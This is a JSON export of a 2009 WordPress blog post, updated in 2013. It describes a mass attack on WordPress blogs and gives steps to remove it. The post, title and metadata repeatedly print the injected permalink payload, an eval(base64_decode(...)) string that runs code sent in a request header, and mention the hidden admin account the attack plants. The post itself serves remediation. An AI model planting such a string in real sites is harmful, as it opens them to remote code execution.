{"id":1771,"date":"2009-09-04T17:38:25","date_gmt":"2009-09-04T21:38:25","guid":{"rendered":"http:\/\/www.andysowards.com\/blog\/?p=1771"},"modified":"2013-06-20T14:10:58","modified_gmt":"2013-06-20T18:10:58","slug":"breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer","status":"publish","type":"post","link":"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/","title":{"rendered":"UPDATED! Breaking: WordPress MySQL injection &#8211; how to fix latest attack %&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&#038;%\/"},"content":{"rendered":"<blockquote><p>\nUpdate 2013:<\/p>\n<p>This post is way old, but people using WordPress still get hacked constantly, so this post we put together may be of some help if you are having problems with <a href=\"https:\/\/andysowards.com\/blog\/2013\/wordpress-security\/\" title=\"wordpress security\" target=\"_blank\">wordpress security<\/a>!<\/p>\n<h2><a href=\"https:\/\/andysowards.com\/blog\/2013\/wordpress-security\/\" title=\"wordpress security\" target=\"_blank\">6 Simple Steps To Better WordPress Security<\/a><\/h2>\n<\/blockquote>\n<p>Hey Guys,<\/p>\n<p>Just realized that a lot of people were hit with this latest WordPress Blog Attack &#8211; Its a MySQL Injection that screws up your permalinks and in turn makes you blog post links not work! So I figured i&#8217;d write up this quick post to help some people out!<\/p>\n<p>It appears that yesterday, many wordpress blogs got hit with this nasty hack that appended a<br \/>\n<code>%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%\/<\/code><\/p>\n<p>Or a<br \/>\n<code>\u00e2\u20ac\u0153\/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%<\/code><\/p>\n<p>to your permalinks which rendered your blog post links useless unless someone physically removed the infected string of code from the URL<\/p>\n<h2>To fix things:<\/h2>\n<p><strong><\/p>\n<ul>\n<li>\ngo to Setting->Permalinks and delete the above mean code<\/p>\n<\/li>\n<li>\ngo to users, you will notice there are more administrators than usual<\/p>\n<\/li>\n<li>\nPut your mouse over the users and find the one that is last to register<\/p>\n<\/li>\n<li>\nRight click and copy the edit url, then paste it into the address bar. Also increase the number by 1.<\/p>\n<\/li>\n<li>\nYou should find the hidden admin with a weird code as a first name. Delete the code and make him a subscriber then return to users and delete him.<br \/>\nThis should fix it. Don\u00e2\u20ac\u2122t forget to upgrade your blog to the latest version.<\/p>\n<\/li>\n<\/ul>\n<p><\/strong><\/p>\n<p>Hope this helps everyone! You can also delete the hidden user from PHPMyAdmin directly from the database, whatever you are comfortable with.<\/p>\n<p>UPDATE: Mashable has written about this issue <a href=\"http:\/\/mashable.com\/2009\/09\/05\/wordpress-attack\/\" target=\"_blank\">here<\/a>.<\/p>\n<p>NEWEST UPDATE: <a href=\"http:\/\/mashable.com\/2009\/09\/05\/wordpress-please-upgrade\/\" target=\"_blank\">WordPress Responds to Attacks<\/a><\/p>\n<p>NEWEST UPDATE: <a href=\"http:\/\/wordpress.org\/development\/2009\/09\/keep-wordpress-secure\/\" target=\"_blank\">OFFICIAL RESPONSE FROM WORDPRESS<\/a><\/p>\n<p>Here are some other good posts on the topic and have other examples that may be more specific to your issue:<\/p>\n<p><a href=\"http:\/\/www.warriorforum.com\/main-internet-marketing-discussion-forum\/121131-wordpress-mysql-injection-latest-attack-eval-base64_decode-_server-http_referer.html\" target=\"_blank\">http:\/\/www.warriorforum.com\/main-internet-marketing-discussion-forum\/121131-wordpress-mysql-injection-latest-attack-eval-base64_decode-_server-http_referer.html<\/a><\/p>\n<p><a href=\"http:\/\/www.netpassiveincome.com\/wordpress-mysql-injection-permalink\/\" target=\"_blank\">http:\/\/www.netpassiveincome.com\/wordpress-mysql-injection-permalink\/<\/a><\/p>\n<p><a href=\"http:\/\/www.journeyetc.com\/2009\/09\/04\/wordpress-permalink-rss-problems\/\" target=\"_blank\">http:\/\/www.journeyetc.com\/2009\/09\/04\/wordpress-permalink-rss-problems\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Update 2013: This post is way old, but people using WordPress still get hacked constantly, so this post we put together may be of some help if you are having<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"footnotes":""},"categories":[12,6],"tags":[1051,2446,2442,352,2444,2441,2440,2448,251,2443,2439,1803,2445,308,5880,9,2447],"class_list":["post-1771","post","type-post","status-publish","format-standard","hentry","category-blogging","category-wordpress","tag-admin","tag-area","tag-breaking","tag-hack","tag-hacked","tag-hidden","tag-injection","tag-latest","tag-links","tag-permalink","tag-permalinks","tag-post","tag-prevent","tag-sql","tag-wordpress","tag-wp","tag-wp-hack"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v23.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>UPDATED! Breaking: Wordpress MySQL injection - how to fix latest attack %&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%\/<\/title>\n<meta name=\"description\" content=\"Update 2013: This post is way old, but people using Wordpress still get hacked constantly, so this post we put together may be of some help if you are\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"UPDATED! Breaking: Wordpress MySQL injection - how to fix latest attack %&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%\/\" \/>\n<meta property=\"og:description\" content=\"Update 2013: This post is way old, but people using Wordpress still get hacked constantly, so this post we put together may be of some help if you are\" \/>\n<meta property=\"og:url\" content=\"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/\" \/>\n<meta property=\"og:site_name\" content=\"Daily Business Resources for Entrepreneurs, Web Designers, &amp; Creatives by Andy Sowards\" \/>\n<meta property=\"article:publisher\" content=\"http:\/\/facebook.com\/andysowardsfan\" \/>\n<meta property=\"article:published_time\" content=\"2009-09-04T21:38:25+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2013-06-20T18:10:58+00:00\" \/>\n<meta name=\"author\" content=\"Andy Sowards\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@andysowards\" \/>\n<meta name=\"twitter:site\" content=\"@andysowards\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Andy Sowards\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/\",\"url\":\"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/\",\"name\":\"UPDATED! Breaking: Wordpress MySQL injection - how to fix latest attack %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%\/\",\"isPartOf\":{\"@id\":\"https:\/\/andysowards.com\/blog\/#website\"},\"datePublished\":\"2009-09-04T21:38:25+00:00\",\"dateModified\":\"2013-06-20T18:10:58+00:00\",\"author\":{\"@id\":\"https:\/\/andysowards.com\/blog\/#\/schema\/person\/9e3197b37c1389a69a23f29ed4dc999d\"},\"description\":\"Update 2013: This post is way old, but people using Wordpress still get hacked constantly, so this post we put together may be of some help if you are\",\"breadcrumb\":{\"@id\":\"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/andysowards.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"UPDATED! Breaking: WordPress MySQL injection &#8211; how to fix latest attack %&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&#038;%\/\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/andysowards.com\/blog\/#website\",\"url\":\"https:\/\/andysowards.com\/blog\/\",\"name\":\"Daily Business Resources for Entrepreneurs, Web Designers, &amp; Creatives by Andy Sowards\",\"description\":\"Design Inspiration &amp; Business Resources for Creatives\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/andysowards.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/andysowards.com\/blog\/#\/schema\/person\/9e3197b37c1389a69a23f29ed4dc999d\",\"name\":\"Andy Sowards\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/andysowards.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/2505c3eff66b791c5d294a1459772e38487496aebe3f766f8813bed90b98f1ec?s=96&r=pg\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/2505c3eff66b791c5d294a1459772e38487496aebe3f766f8813bed90b98f1ec?s=96&r=pg\",\"caption\":\"Andy Sowards\"},\"description\":\"Im a professional Freelancer specializing in Web Developer, Design, Programming web applications. Im an Avid member of the Design\/Development community and a Serial Blogger. follow me on Twitter @AndySowards\",\"sameAs\":[\"https:\/\/www.andysowards.com\"],\"url\":\"https:\/\/andysowards.com\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"UPDATED! Breaking: Wordpress MySQL injection - how to fix latest attack %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%\/","description":"Update 2013: This post is way old, but people using Wordpress still get hacked constantly, so this post we put together may be of some help if you are","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/","og_locale":"en_US","og_type":"article","og_title":"UPDATED! Breaking: Wordpress MySQL injection - how to fix latest attack %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%\/","og_description":"Update 2013: This post is way old, but people using Wordpress still get hacked constantly, so this post we put together may be of some help if you are","og_url":"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/","og_site_name":"Daily Business Resources for Entrepreneurs, Web Designers, &amp; Creatives by Andy Sowards","article_publisher":"http:\/\/facebook.com\/andysowardsfan","article_published_time":"2009-09-04T21:38:25+00:00","article_modified_time":"2013-06-20T18:10:58+00:00","author":"Andy Sowards","twitter_card":"summary_large_image","twitter_creator":"@andysowards","twitter_site":"@andysowards","twitter_misc":{"Written by":"Andy Sowards","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/","url":"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/","name":"UPDATED! Breaking: Wordpress MySQL injection - how to fix latest attack %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%\/","isPartOf":{"@id":"https:\/\/andysowards.com\/blog\/#website"},"datePublished":"2009-09-04T21:38:25+00:00","dateModified":"2013-06-20T18:10:58+00:00","author":{"@id":"https:\/\/andysowards.com\/blog\/#\/schema\/person\/9e3197b37c1389a69a23f29ed4dc999d"},"description":"Update 2013: This post is way old, but people using Wordpress still get hacked constantly, so this post we put together may be of some help if you are","breadcrumb":{"@id":"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/andysowards.com\/blog\/2009\/breaking-wordpress-mysql-injection-how-to-fix-latest-attack-evalbase64_decode_serverhttp_referer\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/andysowards.com\/blog\/"},{"@type":"ListItem","position":2,"name":"UPDATED! Breaking: WordPress MySQL injection &#8211; how to fix latest attack %&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&#038;%\/"}]},{"@type":"WebSite","@id":"https:\/\/andysowards.com\/blog\/#website","url":"https:\/\/andysowards.com\/blog\/","name":"Daily Business Resources for Entrepreneurs, Web Designers, &amp; Creatives by Andy Sowards","description":"Design Inspiration &amp; Business Resources for Creatives","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/andysowards.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/andysowards.com\/blog\/#\/schema\/person\/9e3197b37c1389a69a23f29ed4dc999d","name":"Andy Sowards","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/andysowards.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/2505c3eff66b791c5d294a1459772e38487496aebe3f766f8813bed90b98f1ec?s=96&r=pg","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/2505c3eff66b791c5d294a1459772e38487496aebe3f766f8813bed90b98f1ec?s=96&r=pg","caption":"Andy Sowards"},"description":"Im a professional Freelancer specializing in Web Developer, Design, Programming web applications. Im an Avid member of the Design\/Development community and a Serial Blogger. follow me on Twitter @AndySowards","sameAs":["https:\/\/www.andysowards.com"],"url":"https:\/\/andysowards.com\/blog\/author\/admin\/"}]}},"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/andysowards.com\/blog\/wp-json\/wp\/v2\/posts\/1771","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/andysowards.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/andysowards.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/andysowards.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/andysowards.com\/blog\/wp-json\/wp\/v2\/comments?post=1771"}],"version-history":[{"count":0,"href":"https:\/\/andysowards.com\/blog\/wp-json\/wp\/v2\/posts\/1771\/revisions"}],"wp:attachment":[{"href":"https:\/\/andysowards.com\/blog\/wp-json\/wp\/v2\/media?parent=1771"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/andysowards.com\/blog\/wp-json\/wp\/v2\/categories?post=1771"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/andysowards.com\/blog\/wp-json\/wp\/v2\/tags?post=1771"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}